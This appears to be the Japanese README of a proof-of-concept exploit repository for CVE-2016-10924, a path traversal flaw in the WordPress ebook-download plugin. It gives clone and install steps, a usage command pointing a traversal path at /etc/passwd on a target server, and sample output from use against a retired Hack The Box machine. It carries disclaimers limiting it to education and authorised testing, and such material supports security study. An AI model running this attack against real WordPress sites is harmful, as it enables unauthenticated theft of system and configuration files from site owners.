
WordPressプラグイン ebook-download (バージョン < 1.2) で見つかったディレクトリトラバーサルの脆弱性 (CVE-2016-10924) のための Proof-of-Concept (PoC) エクスプロイトスクリプトです。この脆弱性により、細工されたGETリクエストを介して不正なファイル読み取りが可能になります。
このリポジトリには、WordPressプラグイン ebook-download(バージョン < 1.2)で見つかったディレクトリトラバーサル脆弱性(CVE-2016-10924)の概念実証(PoC)エクスプロイトスクリプトが含まれています。
この脆弱性により、細工されたGETリクエストを介して認証なしにファイルを読み取ることができます。このエクスプロイトは、ebookdownloadurl というパラメータを利用して、ターゲットサーバー上のディレクトリをトラバースします。
ebook-download プラグイン < 1.2ebookdownloadurl パラメータのファイルパスを操作することで、/etc/passwd などの基盤となるオペレーティングシステム上の任意のファイルを読み取ることができます。注記: このPoCは教育目的および許可されたテスト目的に限ります。この情報の誤用は法的な結果を招く可能性があります。
requests ライブラリ(pip install requests でインストール)git clone https://github.com/your-user/CVE-2016-10924-POC.git
cd CVE-2016-10924-POC
pip install requests
python3 cve-2016-10924.py "http://TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
../../../../../../../../../etc/passwd
ターゲット環境のウェブルートの場所に応じて、../ の数を調整する必要がある場合があります。exit または quit と入力するか、空のプロンプトで Enter キーを押して終了します。このエクスプロイトを、退役したHack The Boxマシン「Backdoor」で使用した例:
$ python3 cve-2016-10924.py "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
[*] Enter file paths (e.g. ../../../../../etc/passwd). Type 'exit' to quit.
Enter File path: ../../../../../../../../../etc/passwd
[*] Target URL: http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../../etc/passwd
[+] Status Code: 200
[+] File Content:
root:x:0:0:root:/root:/bin/bash
...
このプロジェクトは、教育目的および正規のセキュリティテストのみを目的としています。
このリポジトリ内の情報やスクリプトを、明示的なテスト許可がないシステムに対して使用しないでください。
作者および貢献者は、このツールの誤用やそれによって生じた損害について一切の責任を負いません。
このプロジェクトは GNU 2.0 License の下でライセンスされています。自由に使用・改変できますが、クレジットを記載してください。
参考文献